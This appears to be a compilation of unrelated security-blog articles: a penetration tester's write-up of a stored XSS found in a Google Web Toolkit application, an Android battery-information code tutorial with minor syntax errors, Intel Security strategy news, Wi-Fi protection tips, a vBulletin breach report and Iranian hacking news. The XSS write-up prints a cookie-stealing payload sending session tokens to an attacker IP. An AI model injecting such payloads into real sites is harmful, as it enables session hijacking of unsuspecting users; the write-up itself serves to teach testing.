Beyond Automated Penetration Testing

Credits: Michale Born

Not too long ago, I was tasked with performing an Application Security Assessmentwhile onsite at a client location. I had worked with this client before, and was eager to see how they had matured their applications over the past couple years. Originally, I had performed an Application Security Assessment on an older version of the application, and I was curious to see the direction they went with the new version of the application.

As I began my normal testing routine, I quickly realized this particular application was built on top of the Google Web Toolkit (GWT) and most of the responses were JSON formatted. Seeing this, I knew this would be a tough nut to crack as both GWT and JSON were built with security in mind.

At the start of this assessment, I decided to start with a quick walkthrough of the application. While my intercepting proxy tool spidered each click, I set up and configured a Web vulnerability scanner and let it run against the application. Aside from the typical SSL/TLS configuration issues, the automated scanner didn’t find much in the way of exploitable vulnerabilities that would result in access to the host or a user’s session. This is where the real application penetration testing began.

I knew I would need to go through each page of the application, and would need to try altering specific areas in each request to see how the application responded. About the third day into the application assessment, my teammate (Kelly Correll) and I discovered an input field that, when altered, resulted in JavaScript execution on a search results page. What’s more is that the page that displayed my entered JavaScript had an auto refresh timer meaning the script would run as often as the refresh kicked in on the page. This is good, but the initial attack displayed a pop-up box with a user’s session token, which would alert the end user that something was potentially wrong with the page. Right away, I realized I needed to take this attack a step further to see if I could covertly execute JavaScript on the response page.

Let’s step back a minute though and discuss some of the issues with the Google Web Toolkit (GWT) framework. GWT is built in a way that overcomes typical Web application attacks. GWT uses Remote Procedure Calls (RPC) for asynchronous Web-related tasks and makes it easier for developers to reuse application code for common tasks. You can think of GWT as a way to debug Ajax with Java. GWT was built with security in mind and helps defend against several forms of Web Application attacks. One weakness of GWT though is against DOM based Cross-Site Scripting (XSS). So while injecting <script> tags may not lead to successful XSS, injecting a <style> tag with the ‘onload’ attribute may. I mentioned though that the responses received from the application server were JSON. I did this intentionally. JSON has several methods for thwarting maliciously injected JavaScript. One such method is the .stringify() method which essentially takes anything input into the method and turns it into a string. So, for example, take the following potentially malicious JavaScript:

<script>alert(document.cookie);</script>

When used in the stringify() method as an input parameter, the entire input would be returned to a browser as a string, meaning that the <script> tags and the JavaScript wouldn’t render but would be displayed as a string data type. Using JSON in this way is extremely effective in thwarting injection attacks. As far as our application is concerned, I needed to see if the stringify() method was being utilized as a way to sanitize malicious input in order to prevent it from rendering. Based on some basic manual testing, I could tell that the input discovered on Day 3 was not being converted by the application’s back end using the JSON stringify() method against values entered. This is the only reason the XSS attack would work.

Let’s break this down a bit and explain what’s happening in more detail.

The input field in question was used as a way for the end user to enter a reference ID associated with their search terms for a particular topic. This value was then stored with the results on the results page for quick reference. The application was responsible for batch processing multiple search queries at once, and this input made it easy to track one particular search batch among the many running simultaneously within the application.

Here’s a breakdown of how I discovered the vulnerability:

1. I set my intercepting proxy to catch all request/response sequences between my browser and the application.
2. I entered the word ALERT (just like that, in all caps) so I could track where in the request/response sequences that particular input came into play.
3. I knew from testing that the application had client-side validation mechanisms in play, so I would have to manipulate the raw request before manually sending it through to the application.
4. Testing revealed that the third (3^rd) request had my entered word “ALERT”.
5. I removed the word ALERT and entered my JavaScript.
6. I forwarded the remaining requests/responses and waited for the results page.
7. When an alert box popped up revealing the user session token, I knew the attack worked.
8. I repeated Steps 1-6, but this time altered the JavaScript to be more covert to the end user.
9. I used:
   <style/onload=&lt;!–&#09;&gt;&#10;new&nbsp;Image().src=’http://123.123.123.123:65443/blah.php?c=’+document.cookie;>

When executed, the user’s browser would continually try to load a fictitious image by making an HTTP request to the attacker’s Web server (at 123.123.123.123), in this case my attacking machine. At the end of the request would be the user’s session token value (which will replace the ‘document.cookie’ in the script above once the script executes). This session token value could then be used to access the application as the user without needing the user’s authentication credentials. The really cool thing about this attack is that the refresh on the page would execute this script every so often meaning that whoever visited the page would wind up sending the attacker their session token. So, the attacker would gain multiple authenticated session tokens and would be able to use the application as any of those users.

A major aspect to highlight in this blog is the fact that it took dedicated manual testing to uncover this vulnerability that was missed by automated tools. GWT and JSON applications can be a nightmare to assess when configured properly and implemented well. There is immense value in dedicated manual testing sessions when performing an application penetration assessment.

While automated testing lets a tester check a lot of things in a rapid manner, it simply will not test everything. Manual testing, and being good at manual testing, is what separates “penetration testers” from “good penetration testers.”

Android Battery Information

In the Mobile world , battery is the most important factor for calculating performance or quality of mobile device. Because without battery or power no device will run so we should know about battery and how to optimize for better usage of power. Here in this article I would like to show how to get battery information from android. In Android we are having Broadcast receiver concept. Broadcast Receivers simply respond to broadcast messages from other applications or from the system itself. So through broadcast receiver we can get battery information from android. We have to declare broadcast receiver in manifest file or else in code itself. Here is the code for declaring broadcast receiver

private final BroadcastReceiver batteryReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
}
};

Yes we declared broadcast receiver in our code but this not specifying what kind of message it will receive. Here is code for specifying message of related to battery information. This code it should be inonCreate() method.

IntentFilter mIntentFilter = new IntentFilter();
mIntentFilter.addAction(Intent.ACTION_BATTERY_CHANGED);

Now we have one broadcast receiver and we know what message it will send. Now we have to register and unregister the broadcast receiver. Here is the code for register and unregister.

@Override
    public void onPause() {
        super.onPause();
        unregisterReceiver(batteryReceiver);
    }

@Override
public void onResume() {
    super.onResume();
    registerReceiver(batteryReceiver, mIntentFilter);
    // buildChart();
}

Then when we executing the code we will get battery information through intent inonReceive(Context context, Intent intent). Here is the sample code for getting all Battery information from intent object.

private final BroadcastReceiver batteryReceiver = new BroadcastReceiver() {
   @Override
   public void onReceive(Context context, Intent intent) {
       String action = intent.getAction();
       if (action.equals(Intent.ACTION_BATTERY_CHANGED)) {

            int mLevel = intent.getIntExtra("level", 0);
            int mtrScale = intent.getIntExtra("scale", 0));
            int mVoltage = intent.getIntExtra("voltage", 0);
            int temperature = intent.getIntExtra("temperature", 0);
            String strTechnology = intent.getStringExtra("technology"));
            int status = intent.getIntExtra("status",
            BatteryManager.BATTERY_STATUS_UNKNOWN);

            //Checking Battery is charging or not
            switch (status) {
            case BatteryManager.BATTERY_STATUS_CHARGING:

            String statusString = context.
            getString(R.string.battery_info_status_charging);

                int plugType = intent.getIntExtra("plugged", 0);

                if (plugType > 0) {
                    statusString = statusString + " " + context                                 
               .getString((plugType == BatteryManager.BATTERY_PLUGGED_AC) ?                 
                R.string.battery_info_status_charging_ac                                      
               : R.string.battery_info_status_charging_usb);
                }

                mStatus.setText(statusString);
                break;

            case BatteryManager.BATTERY_STATUS_DISCHARGING:
                mStatus.setText(R.string.battery_info_status_discharging);
                break;

            case BatteryManager.BATTERY_STATUS_NOT_CHARGING:
                mStatus.setText(R.string.battery_info_status_not_charging);
                break;

            case BatteryManager.BATTERY_STATUS_FULL:
                mStatus.setText(R.string.battery_info_status_full);
                break;

            default:
                mStatus.setText(R.string.unknown);
                break;

            }

          //Here we are getting health condition of battery

            switch (intent.getIntExtra("health",
                    BatteryManager.BATTERY_HEALTH_UNKNOWN)) {

            case BatteryManager.BATTERY_HEALTH_GOOD:
                mHealth.setText(R.string.battery_info_health_good);
                break;
            case BatteryManager.BATTERY_HEALTH_OVERHEAT:
                mHealth.setText(R.string.battery_info_health_overheat);
                break;
            case BatteryManager.BATTERY_HEALTH_DEAD:
                mHealth.setText(R.string.battery_info_health_dead);
                break;
            case BatteryManager.BATTERY_HEALTH_OVER_VOLTAGE:
                mHealth.setText(R.string.battery_info_health_over_voltage);
                break;
            case BatteryManager.BATTERY_HEALTH_UNSPECIFIED_FAILURE:
                mHealth.setText(R.string.battery_info_health_unspecified_failure);
                break;
            default:
                mHealth.setText(R.string.unknown);
                break;
            }
    }
};

Here is the Complete Code github

Intel Changes Up Security Strategy

Intel Security has unveiled its new corporate strategy—one that takes a more integrated and open approach to defense that will help companies resolve more threats faster, with fewer resources.

Intel aims, it said, to target the endpoint and the cloud as the most effective areas for advanced visibility and practical operational control. With this as a guideline, it will apply threat detection and analytics, all offered with centralized management and a connected architecture that pulls data from across Intel and third-party products in the network.

So, threat intelligence and automated workflows to address flagged issues will continue to be a centerpiece for the company, it said, but going forward, it will also focus on unifying protection, detection and correction across a multivendor network environment. All of that information will be flowed into an adaptive feedback loop, so that the system can learn from itself. The result is the creation of what Intel calls the threat defense lifecycle, whereby organizations over time become more effective at blocking threats, identifying compromises and implementing remediation as well as countermeasure improvements more quickly.

“The rising volume and complexity of attacks presents a vicious cycle of challenges for organizations and makes speed and efficiency critical,” said Chris Young, senior vice president and general manager of Intel Security Group. “With a rapidly expanding attack surface, and a shortage of relevant talent and expertise, defenders need to win on visibility into events, simplified management, and capabilities that empower teams to close the loop on attacks in progress—faster, more effectively, and with fewer resources.”

In support of the strategy shift, Intel Security announced a handful of foundational solutions.

For instance, McAfee Endpoint Security 10.X is focused on fast scanning and deployment, while McAfee Active Response supplies on-demand and continuous visibility into an array of endpoint activities, with automated tools to respond to and monitor threat events.

The solutions can be used and managed together using Intel Security’s centralized management platform, the Security Connected platform. The platform was designed to orchestrate management, analytics and intelligence operations—within the new strategy, it will evolve to an open platform built on standards and published interfaces for multi-vendor security information sharing.

To that end, Intel has announced support for the Structured Threat Integration Expression (STIX) and Trusted Automated eXchange of Indicator Information (TAXII) standards. The standards compliance will help with third-party integrations.

Cyber Security: How to Protect Your Data Over Wi-Fi

Anyone and any business, regardless of size or industry, is a potential target for a cyberattack.

Today business professionals are on the go constantly, working from home and while they are traveling. What’s the problem? You are probably thinking you trust anyone on your network and those who have access to your devices. Well, you shouldn’t. The same technology that makes it easy for you to stay in touch with the office also makes it easy for nefarious individuals to hack your communications and into our devices. You and your network are only as strong as the weakest link, which frequently is far weaker than anyone expects.

Because office computers are generally connected to the same network if a hacker is able to gain access to one machine that shares the network connection they can potentially, and sometimes quite easily, gain access to all of the machines and information on the network. What this means is that computers on the same Wi-Fi network can potentially have access toany unencrypted information that pass through that network.

What follows are some simple, but critically important steps to take to protect your information.

Have a Guest Network

It is quite common for business associates to expect the ability to access the Internet via a Wi-Fi connection while attending a meeting, event or conference. As the host, you may want to provide that access, but you don’t want your generosity to wind up being a gaping hole in your data security.

As a precaution to keep unwanted or unauthorized users from accessing sensitive data, we suggest you segment your network: have a different network for employees and guests. By keeping these networks separate, the risk of a data breach is reduced. Most Wi-Fi routers today are enabled to handle both a guest network and a private network. If yours doesn’t, a new router that does will cost you less than $150.

Change Your Strong Password Often

Not only should your Wi-Fi network be password-protected, but you should also change the password on a regular basis. We recommend that you change your password every 90 days for the employee network and every six months for your guest network, at minimum. By consistently changing the password (although possibly difficult on employees), you decrease the odds of a hacker learning the password and breaching your secure network.

Ideally, passwords should be a minimum of 14 characters, with a mix of upper and lowercase letters, numbers, and special characters. The more complex a password is, the harder it is to hack via brute force.

Use the Right Security Protocol

There are many different protocols that can be used when setting up your Wi-Fi network, like WEP, WPA, and WPA2. The difference between them comes down to the algorithm used in the encryption process. Using the WPA2 encryption protocol is the recommended standard by the National Institute of Standards and Technology and the United States government.

WEP: the original encryption protocol developed for wireless networks. As its name implies, WEP was designed to provide the same level of security as wired networks. However, WEP has many well-known security flaws and is easily broken.

WPA: introduced as an interim security enhancement over WEP while the 802.11i wireless security standard was being developed. Most current WPA implementations use a preshared key (PSK), commonly referred to as WPA Personal, and the Temporal Key Integrity Protocol (TKIP, pronounced tee-kip) for encryption. WPA Enterprise uses an authentication server to generate keys or certificates.

WPA2: based on the 802.11i wireless security standard, which was finalized in 2004. The most significant enhancement to WPA2 over WPA is the use of the Advanced Encryption Standard (AES) for encryption. The security provided by AES is approved for use by the U.S. government to encrypt information classified as top secret.

Make sure to NEVER use WEP since it has many well-known security flaws and can be easily broken (brute-force).

Physically Secure Your Router

Beyond cyber security precautions, limiting who has physical access to the router device is also important. Unauthorized users can manipulate, change, or corrupt your Wi-Fi network just by having direct, physical access to the router. Of course, you are probably thinking who could get physical access to the router? Well, when was the last time there was a business meeting at your office and someone asked to use the restroom? Were they escorted to and from the restroom? Likely not. If that person were a hacker posing as a potential client and they were given the ability to walk around they could have done any number of things, ranging from plugging a device into an open port on the back of a computer (or even printer) to tampering with your router. It is as easy as pressing the WPS button on the router, which allows users to connect to a secure network without having to know the network password.

Again, no solution is perfect, but keeping your device in a locked room does decrease risk, and it is a very cheap solution that costs nothing.

Change The Default Password of Your Router

By now most people are aware that they should not use “password” as their password. If you are at all tech savvy you aren’t using “password” as your password for your router either, but is what you are using any more secure?

By default, Wi-Fi routers have the same administration password to allow for easy setup. Once you install your router, make sure to change the default password otherwise it would be exceptionally easy for a hacker to access your secure network. We recommend that you change the administration password at least every six months and use a strong password as recommended above.

AT HOME

If you bring your work home with you, you should apply all of the above recommendations to your home office. We recommend that you use a guest network for personal activities and keep the private network for work related activities only. We know that changing your home Wi-Fi password is a pain, but it is truly important to avoid data breaches. Hackers know that home networks are less protected than work networks, and security really is only as good as the weakest link.

ON THE GO

Home and work are not the only places where you are vulnerable to a cyber security breach. Public networks, like those offered at our favorite restaurants, cafés, hotels, airports, and train stations are prime targets for hackers. Some hackers are actually paid to stay at those locations and “sniff” out data, which they can sell on the black market.

There are many ways that you can help protect your data on the go while using the convenience of free, public Wi-Fi, which includes using a VPN connection to encrypt your data. Using a VPN will ensure that all your data in transit remains encrypted.

VPN, or virtual private network enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network, and thus are benefiting from the functionality, security and management policies of the private network. A VPN is created by establishing a virtual point-to-point connection through the use of dedicated connections, virtual tunneling protocols or traffic encryption. The VPN will encapsulate your data with an encryption algorithm, often IPSEC.

Most are surprised to learn that setting up a VPN can be accomplished for at little as $50 a year. We have set up VPNs for individuals and law firms and have them up and running within 1 hour. There is no noticeable drag in Internet connectivity when accessing a network through a VPN, and it offers the highest levels of security when public Wi-Fi must be used. Given the cost and benefit using VPN really is essential for professionals on the go.

In addition to using VPN, it is also recommended that you encrypt your entire hard drive so that if your computer or device were ever to be lost or stolen, your data could not be accessed without the encryption key. Again, doing this is surprisingly affordable or even free if you’re using Windows 8 or 10.

The official website of the popular vBulletin forum has been hacked

The website of the vBulletin forum software is down for maintenance following a data breach that exposed personal information of hundreds of thousands users

On Sunday, the vBulletin official website has been hacked by an attacker using the moniker “Coldzer0.” The website has been defaced and the vBulletin forum was displaying the message “Hacked by Coldzer0.”

At the time I was writing the website is down for maintenance and there are no details on the attack, according to DataBreaches.net, vBulletin, Foxit Software forums have been hacked by Coldzer0 that has stolen hundreds of thousands of users’ records.

The hacker published screenshots that show he managed to upload a shell to the vBulletin forum website and accessed user personal information, including user IDs, names, email addresses, security questions and answers, and password salts).

I suggest users to change their passwords as soon as possible, especially if they share the same credentials across other websites.

DataBreaches.net has linked the online moniker “Coldzer0” to the malware analyst and security researcher Mohamed Osama. The Egyptian expert Osama has promptly removed all references to the vBulletin attack from his social media accounts. Osama has also deleted his personal website,coldroot.com, after his name was in the headlines due to the attack to vBulletin.

The hacker claims to have exploited a zero-day vulnerability affecting the vBulletin forum to hack the popular application.

It is not the first time that hackers target vBulletin, in 2013  experts at Security firm Impervadiscovered that more than 35000 websites based on vBulletin CMS were hacked exploiting a known vulnerability.

Iranian military hackers focus on U.S. administration officials

Iran’s Revolutionary Guards stepped up hacking of email and social media accounts of Obama administration officials in recent weeks in cyber attacks believed linked to the arrest of an Iranian-American businessman in Tehran, the Wall Street Journal reported on Wednesday.

The newspaper, citing unnamed U.S. officials, said people working on Iran policy appeared to be the focus of the cyber attacks, with personnel in the State Department’s Office of Iranian Affairs and the Bureau of Near Eastern Affairs among those hacked. Other targets included journalists and academics.

The latest reports of a surge in hacking attacks come after a landmark international agreement in July that eased severe economic sanctions on Iran in return for Tehran curbing its nuclear program to ensure it is not used for developing weapons.

The Revolutionary Guards, a powerful branch of the Iranian military, have regularly made hacking attacks on U.S. government agencies in recent years, but a source told the Journal the hacking increased after the arrest of Siamak Namazi in mid-October.

“We’re aware of certain reports involving Iran,” a senior administration official told Reuters in response to the Journal story. “While I don’t have a comment on the specific reports, we are aware that hackers in Iran and elsewhere often use cyber attacks to gain information or make connections with targets of interest.”

Namazi is head of strategic planning for Crescent Petroleum, an oil and gas company in the United Arab Emirates and has worked for think tanks in Washington. He had been detained and interrogated regularly by the Revolutionary Guards before his arrest.

U.S. officials believe some of the more recent attacks may be linked to reports of detained dual citizens and others,” a source told the Journal.

Namazi’s friends and business associates said Revolutionary Guards confiscated his computer after ransacking his family’s home in Tehran, the Journal reported.

A spokesman at Iran’s U.N. mission in New York told the newspaper that Tehran had been falsely accused of cyber attacks.